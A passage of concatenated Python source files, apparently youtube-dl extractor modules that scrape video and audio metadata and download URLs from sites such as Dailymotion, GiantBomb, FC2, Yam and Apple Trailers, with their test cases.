        title = self._og_search_title(webpage, default=None)
        if title is None:
            title = self._html_search_regex(
                r'(?s)<span\s+id="video_title"[^>]*>(.*?)</span>', webpage,
                'title')

        return {
            'id': video_id,
            'formats': formats,
            'uploader': info['owner.screenname'],
            'timestamp': timestamp,
            'title': title,
            'description': description,
            'subtitles': video_subtitles,
            'thumbnail': info['thumbnail_url'],
            'age_limit': age_limit,
            'view_count': view_count,
            'duration': info['duration']
        }

    def _check_error(self, info):
        if info.get('error') is not None:
            raise ExtractorError(
                '%s said: %s' % (self.IE_NAME, info['error']['title']), expected=True)

    def _get_subtitles(self, video_id, webpage):
        try:
            sub_list = self._download_webpage(
                'https://api.dailymotion.com/video/%s/subtitles?fields=id,language,url' % video_id,
                video_id, note=False)
        except ExtractorError as err:
            self._downloader.report_warning('unable to download video subtitles: %s' % error_to_compat_str(err))
            return {}
        info = json.loads(sub_list)
        if (info['total'] > 0):
            sub_lang_list = dict((l['language'], [{'url': l['url'], 'ext': 'srt'}]) for l in info['list'])
            return sub_lang_list
        self._downloader.report_warning('video doesn\'t have subtitles')
        return {}


class DailymotionPlaylistIE(DailymotionBaseInfoExtractor):
    IE_NAME = 'dailymotion:playlist'
    _VALID_URL = r'(?:https?://)?(?:www\.)?dailymotion\.[a-z]{2,3}/playlist/(?P<id>.+?)/'
    _MORE_PAGES_INDICATOR = r'(?s)<div class="pages[^"]*">.*?<a\s+class="[^"]*?icon-arrow_right[^"]*?"'
    _PAGE_TEMPLATE = 'https://www.dailymotion.com/playlist/%s/%s'
    _TESTS = [{
        'url': 'http://www.dailymotion.com/playlist/xv4bw_nqtv_sport/1#video=xl8v3q',
        'info_dict': {
            'title': 'SPORT',
            'id': 'xv4bw_nqtv_sport',
        },
        'playlist_mincount': 20,
    }]

    def _extract_entries(self, id):
        video_ids = set()
        processed_urls = set()
        for pagenum in itertools.count(1):
            page_url = self._PAGE_TEMPLATE % (id, pagenum)
            webpage, urlh = self._download_webpage_handle_no_ff(
                page_url, id, 'Downloading page %s' % pagenum)
            if urlh.geturl() in processed_urls:
                self.report_warning('Stopped at duplicated page %s, which is the same as %s' % (
                    page_url, urlh.geturl()), id)
                break

            processed_urls.add(urlh.geturl())

            for video_id in re.findall(r'data-xid="(.+?)"', webpage):
                if video_id not in video_ids:
                    yield self.url_result(
                        'http://www.dailymotion.com/video/%s' % video_id,
                        DailymotionIE.ie_key(), video_id)
                    video_ids.add(video_id)

            if re.search(self._MORE_PAGES_INDICATOR, webpage) is None:
                break

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        playlist_id = mobj.group('id')
        webpage = self._download_webpage(url, playlist_id)

        return {
            '_type': 'playlist',
            'id': playlist_id,
            'title': self._og_search_title(webpage),
            'entries': self._extract_entries(playlist_id),
        }


class DailymotionUserIE(DailymotionPlaylistIE):
    IE_NAME = 'dailymotion:user'
    _VALID_URL = r'https?://(?:www\.)?dailymotion\.[a-z]{2,3}/(?!(?:embed|swf|#|video|playlist)/)(?:(?:old/)?user/)?(?P<user>[^/]+)'
    _PAGE_TEMPLATE = 'http://www.dailymotion.com/user/%s/%s'
    _TESTS = [{
        'url': 'https://www.dailymotion.com/user/nqtv',
        'info_dict': {
            'id': 'nqtv',
            'title': 'Rémi Gaillard',
        },
        'playlist_mincount': 100,
    }, {
        'url': 'http://www.dailymotion.com/user/UnderProject',
        'info_dict': {
            'id': 'UnderProject',
            'title': 'UnderProject',
        },
        'playlist_mincount': 1800,
        'expected_warnings': [
            'Stopped at duplicated page',
        ],
        'skip': 'Takes too long time',
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        user = mobj.group('user')
        webpage = self._download_webpage(
            'https://www.dailymotion.com/user/%s' % user, user)
        full_user = unescapeHTML(self._html_search_regex(
            r'<a class="nav-image" title="([^"]+)" href="/%s">' % re.escape(user),
            webpage, 'user'))

        return {
            '_type': 'playlist',
            'id': user,
            'title': full_user,
            'entries': self._extract_entries(user),
        }


class DailymotionCloudIE(DailymotionBaseInfoExtractor):
    _VALID_URL_PREFIX = r'http://api\.dmcloud\.net/(?:player/)?embed/'
    _VALID_URL = r'%s[^/]+/(?P<id>[^/?]+)' % _VALID_URL_PREFIX
    _VALID_EMBED_URL = r'%s[^/]+/[^\'"]+' % _VALID_URL_PREFIX

    _TESTS = [{
        # From http://www.francetvinfo.fr/economie/entreprises/les-entreprises-familiales-le-secret-de-la-reussite_933271.html
        # Tested at FranceTvInfo_2
        'url': 'http://api.dmcloud.net/embed/4e7343f894a6f677b10006b4/556e03339473995ee145930c?auth=1464865870-0-jyhsm84b-ead4c701fb750cf9367bf4447167a3db&autoplay=1',
        'only_matching': True,
    }, {
        # http://www.francetvinfo.fr/societe/larguez-les-amarres-le-cobaturage-se-developpe_980101.html
        'url': 'http://api.dmcloud.net/player/embed/4e7343f894a6f677b10006b4/559545469473996d31429f06?auth=1467430263-0-90tglw2l-a3a4b64ed41efe48d7fccad85b8b8fda&autoplay=1',
        'only_matching': True,
    }]

    @classmethod
    def _extract_dmcloud_url(cls, webpage):
        mobj = re.search(r'<iframe[^>]+src=[\'"](%s)[\'"]' % cls._VALID_EMBED_URL, webpage)
        if mobj:
            return mobj.group(1)

        mobj = re.search(
            r'<input[^>]+id=[\'"]dmcloudUrlEmissionSelect[\'"][^>]+value=[\'"](%s)[\'"]' % cls._VALID_EMBED_URL,
            webpage)
        if mobj:
            return mobj.group(1)

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage_no_ff(url, video_id)

        title = self._html_search_regex(r'<title>([^>]+)</title>', webpage, 'title')

        video_info = self._parse_json(self._search_regex(
            r'var\s+info\s*=\s*([^;]+);', webpage, 'video info'), video_id)

        # TODO: parse ios_url, which is in fact a manifest
        video_url = video_info['mp4_url']

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
            'thumbnail': video_info.get('thumbnail_url'),
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor


class EchoMskIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?echo\.msk\.ru/sounds/(?P<id>\d+)'
    _TEST = {
        'url': 'http://www.echo.msk.ru/sounds/1464134.html',
        'md5': '2e44b3b78daff5b458e4dbc37f191f7c',
        'info_dict': {
            'id': '1464134',
            'ext': 'mp3',
            'title': 'Особое мнение - 29 декабря 2014, 19:08',
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        webpage = self._download_webpage(url, video_id)

        audio_url = self._search_regex(
            r'<a rel="mp3" href="([^"]+)">', webpage, 'audio URL')

        title = self._html_search_regex(
            r'<a href="/programs/[^"]+" target="_blank">([^<]+)</a>',
            webpage, 'title')

        air_date = self._html_search_regex(
            r'(?s)<div class="date">(.+?)</div>',
            webpage, 'date', fatal=False, default=None)

        if air_date:
            air_date = re.sub(r'(\s)\1+', r'\1', air_date)
            if air_date:
                title = '%s - %s' % (title, air_date)

        return {
            'id': video_id,
            'url': audio_url,
            'title': title,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor


class MakersChannelIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?makerschannel\.com/.*(?P<id_type>video|production)_id=(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://makerschannel.com/en/zoomin/community-highlights?video_id=849',
        'md5': '624a512c6969236b5967bf9286345ad1',
        'info_dict': {
            'id': '849',
            'ext': 'mp4',
            'title': 'Landing a bus on a plane is an epic win',
            'uploader': 'ZoomIn',
            'description': 'md5:cd9cca2ea7b69b78be81d07020c97139',
        }
    }

    def _real_extract(self, url):
        id_type, url_id = re.match(self._VALID_URL, url).groups()
        webpage = self._download_webpage(url, url_id)
        video_data = self._html_search_regex(r'<div([^>]+data-%s-id="%s"[^>]+)>' % (id_type, url_id), webpage, 'video data')

        def extract_data_val(attr, fatal=False):
            return self._html_search_regex(r'data-%s\s*=\s*"([^"]+)"' % attr, video_data, attr, fatal=fatal)
        minoto_id = self._search_regex(r'/id/([a-zA-Z0-9]+)', extract_data_val('video-src', True), 'minoto id')

        return {
            '_type': 'url_transparent',
            'url': 'minoto:%s' % minoto_id,
            'id': extract_data_val('video-id', True),
            'title': extract_data_val('title', True),
            'description': extract_data_val('description'),
            'thumbnail': extract_data_val('image'),
            'uploader': extract_data_val('channel'),
        }






from __future__ import unicode_literals

import re
import json

from .common import InfoExtractor
from ..utils import (
    unescapeHTML,
    qualities,
    int_or_none,
)


class GiantBombIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?giantbomb\.com/videos/(?P<display_id>[^/]+)/(?P<id>\d+-\d+)'
    _TEST = {
        'url': 'http://www.giantbomb.com/videos/quick-look-destiny-the-dark-below/2300-9782/',
        'md5': '57badeface303ecf6b98b812de1b9018',
        'info_dict': {
            'id': '2300-9782',
            'display_id': 'quick-look-destiny-the-dark-below',
            'ext': 'mp4',
            'title': 'Quick Look: Destiny: The Dark Below',
            'description': 'md5:0aa3aaf2772a41b91d44c63f30dfad24',
            'duration': 2399,
            'thumbnail': 're:^https?://.*\.jpg$',
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id')

        webpage = self._download_webpage(url, display_id)

        title = self._og_search_title(webpage)
        description = self._og_search_description(webpage)
        thumbnail = self._og_search_thumbnail(webpage)

        video = json.loads(unescapeHTML(self._search_regex(
            r'data-video="([^"]+)"', webpage, 'data-video')))

        duration = int_or_none(video.get('lengthSeconds'))

        quality = qualities([
            'f4m_low', 'progressive_low', 'f4m_high',
            'progressive_high', 'f4m_hd', 'progressive_hd'])

        formats = []
        for format_id, video_url in video['videoStreams'].items():
            if format_id == 'f4m_stream':
                continue
            if video_url.endswith('.f4m'):
                f4m_formats = self._extract_f4m_formats(video_url + '?hdcore=3.3.1', display_id)
                if f4m_formats:
                    f4m_formats[0]['quality'] = quality(format_id)
                    formats.extend(f4m_formats)
            else:
                formats.append({
                    'url': video_url,
                    'format_id': format_id,
                    'quality': quality(format_id),
                })

        if not formats:
            youtube_id = video.get('youtubeID')
            if youtube_id:
                return self.url_result(youtube_id, 'Youtube')

        self._sort_formats(formats)

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'duration': duration,
            'formats': formats,
        }






from __future__ import unicode_literals

import re
import time

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    HEADRequest,
)


class CultureUnpluggedIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?cultureunplugged\.com/documentary/watch-online/play/(?P<id>\d+)(?:/(?P<display_id>[^/]+))?'
    _TESTS = [{
        'url': 'http://www.cultureunplugged.com/documentary/watch-online/play/53662/The-Next--Best-West',
        'md5': 'ac6c093b089f7d05e79934dcb3d228fc',
        'info_dict': {
            'id': '53662',
            'display_id': 'The-Next--Best-West',
            'ext': 'mp4',
            'title': 'The Next, Best West',
            'description': 'md5:0423cd00833dea1519cf014e9d0903b1',
            'thumbnail': 're:^https?://.*\.jpg$',
            'creator': 'Coldstream Creative',
            'duration': 2203,
            'view_count': int,
        }
    }, {
        'url': 'http://www.cultureunplugged.com/documentary/watch-online/play/53662',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id') or video_id

        # request setClientTimezone.php to get PHPSESSID cookie which is need to get valid json data in the next request
        self._request_webpage(HEADRequest(
            'http://www.cultureunplugged.com/setClientTimezone.php?timeOffset=%d' % -(time.timezone / 3600)), display_id)
        movie_data = self._download_json(
            'http://www.cultureunplugged.com/movie-data/cu-%s.json' % video_id, display_id)

        video_url = movie_data['url']
        title = movie_data['title']

        description = movie_data.get('synopsis')
        creator = movie_data.get('producer')
        duration = int_or_none(movie_data.get('duration'))
        view_count = int_or_none(movie_data.get('views'))

        thumbnails = [{
            'url': movie_data['%s_thumb' % size],
            'id': size,
            'preference': preference,
        } for preference, size in enumerate((
            'small', 'large')) if movie_data.get('%s_thumb' % size)]

        return {
            'id': video_id,
            'display_id': display_id,
            'url': video_url,
            'title': title,
            'description': description,
            'creator': creator,
            'duration': duration,
            'view_count': view_count,
            'thumbnails': thumbnails,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_urlparse
from ..utils import (
    float_or_none,
    month_by_abbreviation,
    ExtractorError,
    get_element_by_attribute,
)


class YamIE(InfoExtractor):
    IE_DESC = '蕃薯藤yam天空部落'
    _VALID_URL = r'https?://mymedia.yam.com/m/(?P<id>\d+)'

    _TESTS = [{
        # An audio hosted on Yam
        'url': 'http://mymedia.yam.com/m/2283921',
        'md5': 'c011b8e262a52d5473d9c2e3c9963b9c',
        'info_dict': {
            'id': '2283921',
            'ext': 'mp3',
            'title': '發現 - 趙薇 京華煙雲主題曲',
            'description': '發現 - 趙薇 京華煙雲主題曲',
            'uploader_id': 'princekt',
            'upload_date': '20080807',
            'duration': 313.0,
        }
    }, {
        # An external video hosted on YouTube
        'url': 'http://mymedia.yam.com/m/3599430',
        'md5': '03127cf10d8f35d120a9e8e52e3b17c6',
        'info_dict': {
            'id': 'CNpEoQlrIgA',
            'ext': 'mp4',
            'upload_date': '20150306',
            'uploader': '新莊社大瑜伽社',
            'description': 'md5:11e2e405311633ace874f2e6226c8b17',
            'uploader_id': '2323agoy',
            'title': '20090412陽明山二子坪-1',
        },
        'skip': 'Video does not exist',
    }, {
        'url': 'http://mymedia.yam.com/m/3598173',
        'info_dict': {
            'id': '3598173',
            'ext': 'mp4',
        },
        'skip': 'cause Yam system error',
    }, {
        'url': 'http://mymedia.yam.com/m/3599437',
        'info_dict': {
            'id': '3599437',
            'ext': 'mp4',
        },
        'skip': 'invalid YouTube URL',
    }, {
        'url': 'http://mymedia.yam.com/m/2373534',
        'md5': '7ff74b91b7a817269d83796f8c5890b1',
        'info_dict': {
            'id': '2373534',
            'ext': 'mp3',
            'title': '林俊傑&蔡卓妍-小酒窩',
            'description': 'md5:904003395a0fcce6cfb25028ff468420',
            'upload_date': '20080928',
            'uploader_id': 'onliner2',
        }
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)
        page = self._download_webpage(url, video_id)

        # Check for errors
        system_msg = self._html_search_regex(
            r'系統訊息(?:<br>|\n|\r)*([^<>]+)<br>', page, 'system message',
            default=None)
        if system_msg:
            raise ExtractorError(system_msg, expected=True)

        # Is it hosted externally on YouTube?
        youtube_url = self._html_search_regex(
            r'<embed src="(http://www.youtube.com/[^"]+)"',
            page, 'YouTube url', default=None)
        if youtube_url:
            return self.url_result(youtube_url, 'Youtube')

        title = self._html_search_regex(
            r'<h1[^>]+class="heading"[^>]*>\s*(.+)\s*</h1>', page, 'title')

        api_page = self._download_webpage(
            'http://mymedia.yam.com/api/a/?pID=' + video_id, video_id,
            note='Downloading API page')
        api_result_obj = compat_urlparse.parse_qs(api_page)

        info_table = get_element_by_attribute('class', 'info', page)
        uploader_id = self._html_search_regex(
            r'<!-- 發表作者 -->：[\n ]+<a href="/([a-z0-9]+)"',
            info_table, 'uploader id', fatal=False)
        mobj = re.search(r'<!-- 發表於 -->(?P<mon>[A-Z][a-z]{2})\s+' +
                         r'(?P<day>\d{1,2}), (?P<year>\d{4})', page)
        if mobj:
            upload_date = '%s%02d%02d' % (
                mobj.group('year'),
                month_by_abbreviation(mobj.group('mon')),
                int(mobj.group('day')))
        else:
            upload_date = None
        duration = float_or_none(api_result_obj['totaltime'][0], scale=1000)

        return {
            'id': video_id,
            'url': api_result_obj['mp3file'][0],
            'title': title,
            'description': self._html_search_meta('description', page),
            'duration': duration,
            'uploader_id': uploader_id,
            'upload_date': upload_date,
        }






#! -*- coding: utf-8 -*-
from __future__ import unicode_literals

import hashlib

from .common import InfoExtractor
from ..compat import (
    compat_urllib_request,
    compat_urlparse,
)
from ..utils import (
    ExtractorError,
    sanitized_Request,
    urlencode_postdata,
)


class FC2IE(InfoExtractor):
    _VALID_URL = r'^https?://video\.fc2\.com/(?:[^/]+/)*content/(?P<id>[^/]+)'
    IE_NAME = 'fc2'
    _NETRC_MACHINE = 'fc2'
    _TESTS = [{
        'url': 'http://video.fc2.com/en/content/20121103kUan1KHs',
        'md5': 'a6ebe8ebe0396518689d963774a54eb7',
        'info_dict': {
            'id': '20121103kUan1KHs',
            'ext': 'flv',
            'title': 'Boxing again with Puff',
        },
    }, {
        'url': 'http://video.fc2.com/en/content/20150125cEva0hDn/',
        'info_dict': {
            'id': '20150125cEva0hDn',
            'ext': 'mp4',
        },
        'params': {
            'username': 'ytdl@yt-dl.org',
            'password': '(snip)',
        },
        'skip': 'requires actual password',
    }, {
        'url': 'http://video.fc2.com/en/a/content/20130926eZpARwsF',
        'only_matching': True,
    }]

    def _login(self):
        (username, password) = self._get_login_info()
        if username is None or password is None:
            return False

        # Log in
        login_form_strs = {
            'email': username,
            'password': password,
            'done': 'video',
            'Submit': ' Login ',
        }

        login_data = urlencode_postdata(login_form_strs)
        request = sanitized_Request(
            'https://secure.id.fc2.com/index.php?mode=login&switch_language=en', login_data)

        login_results = self._download_webpage(request, None, note='Logging in', errnote='Unable to log in')
        if 'mode=redirect&login=done' not in login_results:
            self.report_warning('unable to log in: bad username or password')
            return False

        # this is also needed
        login_redir = sanitized_Request('http://id.fc2.com/?mode=redirect&login=done')
        self._download_webpage(
            login_redir, None, note='Login redirect', errnote='Login redirect failed')

        return True

    def _real_extract(self, url):
        video_id = self._match_id(url)
        self._login()
        webpage = self._download_webpage(url, video_id)
        self._downloader.cookiejar.clear_session_cookies()  # must clear
        self._login()

        title = self._og_search_title(webpage)
        thumbnail = self._og_search_thumbnail(webpage)
        refer = url.replace('/content/', '/a/content/') if '/a/content/' not in url else url

        mimi = hashlib.md5((video_id + '_gGddgPfeaf_gzyr').encode('utf-8')).hexdigest()

        info_url = (
            'http://video.fc2.com/ginfo.php?mimi={1:s}&href={2:s}&v={0:s}&fversion=WIN%2011%2C6%2C602%2C180&from=2&otag=0&upid={0:s}&tk=null&'.
            format(video_id, mimi, compat_urllib_request.quote(refer, safe=b'').replace('.', '%2E')))

        info_webpage = self._download_webpage(
            info_url, video_id, note='Downloading info page')
        info = compat_urlparse.parse_qs(info_webpage)

        if 'err_code' in info:
            # most of the time we can still download wideo even if err_code is 403 or 602
            self.report_warning(
                'Error code was: %s... but still trying' % info['err_code'][0])

        if 'filepath' not in info:
            raise ExtractorError('Cannot download file. Are you logged in?')

        video_url = info['filepath'][0] + '?mid=' + info['mid'][0]
        title_info = info.get('title')
        if title_info:
            title = title_info[0]

        return {
            'id': video_id,
            'title': title,
            'url': video_url,
            'ext': 'flv',
            'thumbnail': thumbnail,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    orderedSet,
    unescapeHTML,
)


class StanfordOpenClassroomIE(InfoExtractor):
    IE_NAME = 'stanfordoc'
    IE_DESC = 'Stanford Open ClassRoom'
    _VALID_URL = r'https?://openclassroom\.stanford\.edu(?P<path>/?|(/MainFolder/(?:HomePage|CoursePage|VideoPage)\.php([?]course=(?P<course>[^&]+)(&video=(?P<video>[^&]+))?(&.*)?)?))$'
    _TEST = {
        'url': 'http://openclassroom.stanford.edu/MainFolder/VideoPage.php?course=PracticalUnix&video=intro-environment&speed=100',
        'md5': '544a9468546059d4e80d76265b0443b8',
        'info_dict': {
            'id': 'PracticalUnix_intro-environment',
            'ext': 'mp4',
            'title': 'Intro Environment',
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)

        if mobj.group('course') and mobj.group('video'):  # A specific video
            course = mobj.group('course')
            video = mobj.group('video')
            info = {
                'id': course + '_' + video,
                'uploader': None,
                'upload_date': None,
            }

            baseUrl = 'http://openclassroom.stanford.edu/MainFolder/courses/' + course + '/videos/'
            xmlUrl = baseUrl + video + '.xml'
            mdoc = self._download_xml(xmlUrl, info['id'])
            try:
                info['title'] = mdoc.findall('./title')[0].text
                info['url'] = baseUrl + mdoc.findall('./videoFile')[0].text
            except IndexError:
                raise ExtractorError('Invalid metadata XML file')
            return info
        elif mobj.group('course'):  # A course page
            course = mobj.group('course')
            info = {
                'id': course,
                '_type': 'playlist',
                'uploader': None,
                'upload_date': None,
            }

            coursepage = self._download_webpage(
                url, info['id'],
                note='Downloading course info page',
                errnote='Unable to download course info page')

            info['title'] = self._html_search_regex(
                r'<h1>([^<]+)</h1>', coursepage, 'title', default=info['id'])

            info['description'] = self._html_search_regex(
                r'(?s)<description>([^<]+)</description>',
                coursepage, 'description', fatal=False)

            links = orderedSet(re.findall('<a href="(VideoPage.php\?[^"]+)">', coursepage))
            info['entries'] = [self.url_result(
                'http://openclassroom.stanford.edu/MainFolder/%s' % unescapeHTML(l)
            ) for l in links]
            return info
        else:  # Root page
            info = {
                'id': 'Stanford OpenClassroom',
                '_type': 'playlist',
                'uploader': None,
                'upload_date': None,
            }
            info['title'] = info['id']

            rootURL = 'http://openclassroom.stanford.edu/MainFolder/HomePage.php'
            rootpage = self._download_webpage(rootURL, info['id'],
                                              errnote='Unable to download course info page')

            links = orderedSet(re.findall('<a href="(CoursePage.php\?[^"]+)">', rootpage))
            info['entries'] = [self.url_result(
                'http://openclassroom.stanford.edu/MainFolder/%s' % unescapeHTML(l)
            ) for l in links]
            return info






from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import parse_duration


class DHMIE(InfoExtractor):
    IE_DESC = 'Filmarchiv - Deutsches Historisches Museum'
    _VALID_URL = r'https?://(?:www\.)?dhm\.de/filmarchiv/(?:[^/]+/)+(?P<id>[^/]+)'

    _TESTS = [{
        'url': 'http://www.dhm.de/filmarchiv/die-filme/the-marshallplan-at-work-in-west-germany/',
        'md5': '11c475f670209bf6acca0b2b7ef51827',
        'info_dict': {
            'id': 'the-marshallplan-at-work-in-west-germany',
            'ext': 'flv',
            'title': 'MARSHALL PLAN AT WORK IN WESTERN GERMANY, THE',
            'description': 'md5:1fabd480c153f97b07add61c44407c82',
            'duration': 660,
            'thumbnail': 're:^https?://.*\.jpg$',
        },
    }, {
        'url': 'http://www.dhm.de/filmarchiv/02-mapping-the-wall/peter-g/rolle-1/',
        'md5': '09890226332476a3e3f6f2cb74734aa5',
        'info_dict': {
            'id': 'rolle-1',
            'ext': 'flv',
            'title': 'ROLLE 1',
            'thumbnail': 're:^https?://.*\.jpg$',
        },
    }]

    def _real_extract(self, url):
        playlist_id = self._match_id(url)

        webpage = self._download_webpage(url, playlist_id)

        playlist_url = self._search_regex(
            r"file\s*:\s*'([^']+)'", webpage, 'playlist url')

        entries = self._extract_xspf_playlist(playlist_url, playlist_id)

        title = self._search_regex(
            [r'dc:title="([^"]+)"', r'<title> &raquo;([^<]+)</title>'],
            webpage, 'title').strip()
        description = self._html_search_regex(
            r'<p><strong>Description:</strong>(.+?)</p>',
            webpage, 'description', default=None)
        duration = parse_duration(self._search_regex(
            r'<em>Length\s*</em>\s*:\s*</strong>([^<]+)',
            webpage, 'duration', default=None))

        entries[0].update({
            'title': title,
            'description': description,
            'duration': duration,
        })

        return self.playlist_result(entries, playlist_id)






from __future__ import unicode_literals

import re
import json

from .common import InfoExtractor
from ..compat import compat_urlparse
from ..utils import (
    int_or_none,
    parse_duration,
    unified_strdate,
)


class AppleTrailersIE(InfoExtractor):
    IE_NAME = 'appletrailers'
    _VALID_URL = r'https?://(?:www\.|movie)?trailers\.apple\.com/(?:trailers|ca)/(?P<company>[^/]+)/(?P<movie>[^/]+)'
    _TESTS = [{
        'url': 'http://trailers.apple.com/trailers/wb/manofsteel/',
        'info_dict': {
            'id': '5111',
            'title': 'Man of Steel',
        },
        'playlist': [
            {
                'md5': 'd97a8e575432dbcb81b7c3acb741f8a8',
                'info_dict': {
                    'id': 'manofsteel-trailer4',
                    'ext': 'mov',
                    'duration': 111,
                    'title': 'Trailer 4',
                    'upload_date': '20130523',
                    'uploader_id': 'wb',
                },
            },
            {
                'md5': 'b8017b7131b721fb4e8d6f49e1df908c',
                'info_dict': {
                    'id': 'manofsteel-trailer3',
                    'ext': 'mov',
                    'duration': 182,
                    'title': 'Trailer 3',
                    'upload_date': '20130417',
                    'uploader_id': 'wb',
                },
            },
            {
                'md5': 'd0f1e1150989b9924679b441f3404d48',
                'info_dict': {
                    'id': 'manofsteel-trailer',
                    'ext': 'mov',
                    'duration': 148,
                    'title': 'Trailer',
                    'upload_date': '20121212',
                    'uploader_id': 'wb',
                },
            },
            {
                'md5': '5fe08795b943eb2e757fa95cb6def1cb',
                'info_dict': {
                    'id': 'manofsteel-teaser',
                    'ext': 'mov',
                    'duration': 93,
                    'title': 'Teaser',
                    'upload_date': '20120721',
                    'uploader_id': 'wb',
                },
            },
        ]
    }, {
        'url': 'http://trailers.apple.com/trailers/magnolia/blackthorn/',
        'info_dict': {
            'id': 'blackthorn',
        },
        'playlist_mincount': 2,
        'expected_warnings': ['Unable to download JSON metadata'],
    }, {
        # json data only available from http://trailers.apple.com/trailers/feeds/data/15881.json
        'url': 'http://trailers.apple.com/trailers/fox/kungfupanda3/',
        'info_dict': {
            'id': '15881',
            'title': 'Kung Fu Panda 3',
        },
        'playlist_mincount': 4,
    }, {
        'url': 'http://trailers.apple.com/ca/metropole/autrui/',
        'only_matching': True,
    }, {
        'url': 'http://movietrailers.apple.com/trailers/focus_features/kuboandthetwostrings/',
        'only_matching': True,
    }]

    _JSON_RE = r'iTunes.playURL\((.*?)\);'

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        movie = mobj.group('movie')
        uploader_id = mobj.group('company')

        webpage = self._download_webpage(url, movie)
        film_id = self._search_regex(r"FilmId\s*=\s*'(\d+)'", webpage, 'film id')
        film_data = self._download_json(
            'http://trailers.apple.com/trailers/feeds/data/%s.json' % film_id,
            film_id, fatal=False)

        if film_data:
            entries = []
            for clip in film_data.get('clips', []):
                clip_title = clip['title']

                formats = []
                for version, version_data in clip.get('versions', {}).items():
                    for size, size_data in version_data.get('sizes', {}).items():
                        src = size_data.get('src')
                        if not src:
                            continue
                        formats.append({
                            'format_id': '%s-%s' % (version, size),
                            'url': re.sub(r'_(\d+p.mov)', r'_h\1', src),
                            'width': int_or_none(size_data.get('width')),
                            'height': int_or_none(size_data.get('height')),
                            'language': version[:2],
                        })
                self._sort_formats(formats)

                entries.append({
                    'id': movie + '-' + re.sub(r'[^a-zA-Z0-9]', '', clip_title).lower(),
                    'formats': formats,
                    'title': clip_title,
                    'thumbnail': clip.get('screen') or clip.get('thumb'),
                    'duration': parse_duration(clip.get('runtime') or clip.get('faded')),
                    'upload_date': unified_strdate(clip.get('posted')),
                    'uploader_id': uploader_id,
                })

            page_data = film_data.get('page', {})
            return self.playlist_result(entries, film_id, page_data.get('movie_title'))

        playlist_url = compat_urlparse.urljoin(url, 'includes/playlists/itunes.inc')

        def fix_html(s):
            s = re.sub(r'(?s)<script[^<]*?>.*?</script>', '', s)
            s = re.sub(r'<img ([^<]*?)/?>', r'<img \1/>', s)
            # The ' in the onClick attributes are not escaped, it couldn't be parsed
            # like: http://trailers.apple.com/trailers/wb/gravity/

            def _clean_json(m):
                return 'iTunes.playURL(%s);' % m.group(1).replace('\'', '&#39;')
            s = re.sub(self._JSON_RE, _clean_json, s)
            s = '<html>%s</html>' % s
            return s
        doc = self._download_xml(playlist_url, movie, transform_source=fix_html)

        playlist = []
        for li in doc.findall('./div/ul/li'):
            on_click = li.find('.//a').attrib['onClick']
            trailer_info_json = self._search_regex(self._JSON_RE,
                                                   on_click, 'trailer info')
            trailer_info = json.loads(trailer_info_json)
            first_url = trailer_info.get('url')
            if not first_url:
                continue
            title = trailer_info['title']
            video_id = movie + '-' + re.sub(r'[^a-zA-Z0-9]', '', title).lower()
            thumbnail = li.find('.//img').attrib['src']
            upload_date = trailer_info['posted'].replace('-', '')

            runtime = trailer_info['runtime']
            m = re.search(r'(?P<minutes>[0-9]+):(?P<seconds>[0-9]{1,2})', runtime)
            duration = None
            if m:
                duration = 60 * int(m.group('minutes')) + int(m.group('seconds'))

            trailer_id = first_url.split('/')[-1].rpartition('_')[0].lower()
            settings_json_url = compat_urlparse.urljoin(url, 'includes/settings/%s.json' % trailer_id)
            settings = self._download_json(settings_json_url, trailer_id, 'Downloading settings json')

            formats = []
            for format in settings['metadata']['sizes']:
                # The src is a file pointing to the real video file
                format_url = re.sub(r'_(\d*p.mov)', r'_h\1', format['src'])
                formats.append({
                    'url': format_url,
                    'format': format['type'],
                    'width': int_or_none(format['width']),
                    'height': int_or_none(format['height']),
                })

            self._sort_formats(formats)

            playlist.append({
                '_type': 'video',
                'id': video_id,
                'formats': formats,
                'title': title,
                'duration': duration,
                'thumbnail': thumbnail,
                'upload_date': upload_date,
                'uploader_id': uploader_id,
                'http_headers': {
                    'User-Agent': 'QuickTime compatible (youtube-dl)',
                },
            })

        return {
            '_type': 'playlist',
            'id': movie,
            'entries': playlist,
        }


class AppleTrailersSectionIE(InfoExtractor):
    IE_NAME = 'appletrailers:section'
    _SECTIONS = {
        'justadded': {
            'feed_path': 'just_added',
            'title': 'Just Added',
        },
        'exclusive': {
            'feed_path': 'exclusive',
            'title': 'Exclusive',
        },
        'justhd': {
            'feed_path': 'just_hd',
            'title': 'Just HD',
        },
        'mostpopular': {
            'feed_path': 'most_pop',
            'title': 'Most Popular',
        },
        'moviestudios': {
            'feed_path': 'studios',
            'title': 'Movie Studios',
        },
    }
    _VALID_URL = r'https?://(?:www\.)?trailers\.apple\.com/#section=(?P<id>%s)' % '|'.join(_SECTIONS)
    _TESTS = [{
        'url': 'http://trailers.apple.com/#section=justadded',
        'info_dict': {
            'title': 'Just Added',
            'id': 'justadded',
        },
        'playlist_mincount': 80,
    }, {
